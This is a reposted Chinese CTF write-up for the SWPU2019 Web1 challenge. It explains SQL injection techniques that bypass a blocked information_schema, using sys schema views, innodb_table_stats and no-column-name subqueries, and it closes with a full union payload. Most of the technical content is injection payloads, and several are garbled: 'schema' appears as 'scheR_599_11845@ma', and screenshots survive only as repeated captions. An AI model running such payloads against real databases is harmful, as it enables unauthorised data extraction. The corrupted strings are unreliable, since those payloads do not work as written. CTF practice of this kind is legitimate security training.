程序笔记   发布时间:2022-07-17  发布网站:大佬教程  code.js-code.com
大佬教程收集整理的这篇文章主要介绍了[SWPU2019]Web1--关于information_schema的绕过方式大佬教程大佬觉得挺不错的,现在分享给大家,也给大家做个参考。

这个知识点没接触过,记录一下,顺便修正一下网上文章的坑点

绕过方式总结

一:sys.scheR_599_11845@ma限制:mysql ≥ 5.7版本般要超级管理员才可以访问syspayload:?id=-1' union all SELEct 1,2,GROUP_CONCAt(table_Name)from sys.scheR_599_11845@a_auto_increment_columns where table_scheR_599_11845@a=database()--+?id=-1' union all SELEct 1,2,GROUP_CONCAt(table_Name)from sys.scheR_599_11845@a_table_statistics_with_buffer where table_scheR_599_11845@a=database()--+?id=-1' union all SELEct*from (SELEct * from users as a join users b)c--+ #获取第一列的列名?id=-1' union all SELEct*from (SELEct * from users as a join users b using(id,userName))c--+ #获取次列及后续列名

二:无列名注入(SELEct `2` from (SELEct 1,2,3 union SELEct * FROM table_Name)a) #前提是要知道表名 ((SELEct c from (SELEct 1,2,3 c union SELEct * from users)b)) #1,2,3是因为users表有三列,实际情况还需要猜测表的列的数量

三:innodb引擎限制:mysql ≥ 5.5版本mysql.innodb_table_stats 或 mysql.innodb_table_index 存放所有库名,表名SELEct GROUP_CONCAt(table_Name) from mysql.innodb_table_statsSELEct table_name from mysql.innodb_table_stats where database_name=库名

 

解题

这题技巧一在buuctf种用不了,会提示无此函数

技巧三就不说了复制粘贴就行,

主要是在技巧二的地方遇到坑了

先放一下我的最终payload:

11'union/**/SELEct/**/1,(SELEct/**/GROUP_CONCAt(`3`)/**/from(SELEct/**/1,2,3/**/union/**/SELEct*from/**/users)X),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21'

 

排坑

首先网上很多文章是chao的,所有根本没说清楚users表三列是怎么试出来的,首先我们试下他们的流程

[SWPU2019]Web1--关于information_schema的绕过方式

 

 这样是没问题的

[SWPU2019]Web1--关于information_schema的绕过方式

 

 

[SWPU2019]Web1--关于information_schema的绕过方式

 

 

这两个也是没问题的

但是原题环境跟这个并不相同,你得首先构造一个查询,以此为例

[SWPU2019]Web1--关于information_schema的绕过方式

 

 接着进行union注入

[SWPU2019]Web1--关于information_schema的绕过方式

 

 此时在2的位置替换,我们的联合查询

[SWPU2019]Web1--关于information_schema的绕过方式

 

你会发现报错,题目环境也是这个报错,说明这样并不能用,那怎么进行猜列数呢

[SWPU2019]Web1--关于information_schema的绕过方式

如果你这样写,会报一个多数据错误,所以GROUP_CONCAt是必须的

[SWPU2019]Web1--关于information_schema的绕过方式

 

 此时才能完成查询功能,所以猜列的payload必须完整输入时才能进行,并不是和正常查询一样在之前进行的列猜测

然后我发现题目并没有限制 `` 符号,所以可以直接查询

ps:真是想吐槽一下,写文章自己都没弄明白就一通chao的真的太多了,连payload都一样,自己都不试试吗???写这篇文章也是给新做题的朋友一个正确的提示,这帮人真的太划了!!!

 

大佬总结

以上是大佬教程为你收集整理的[SWPU2019]Web1--关于information_schema的绕过方式全部内容,希望文章能够帮你解决[SWPU2019]Web1--关于information_schema的绕过方式所遇到的程序开发问题。

如果觉得大佬教程网站内容还不错,欢迎将大佬教程推荐给程序员好友。

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
如您有任何意见或建议可联系处理。小编QQ:384754419,请注明来意。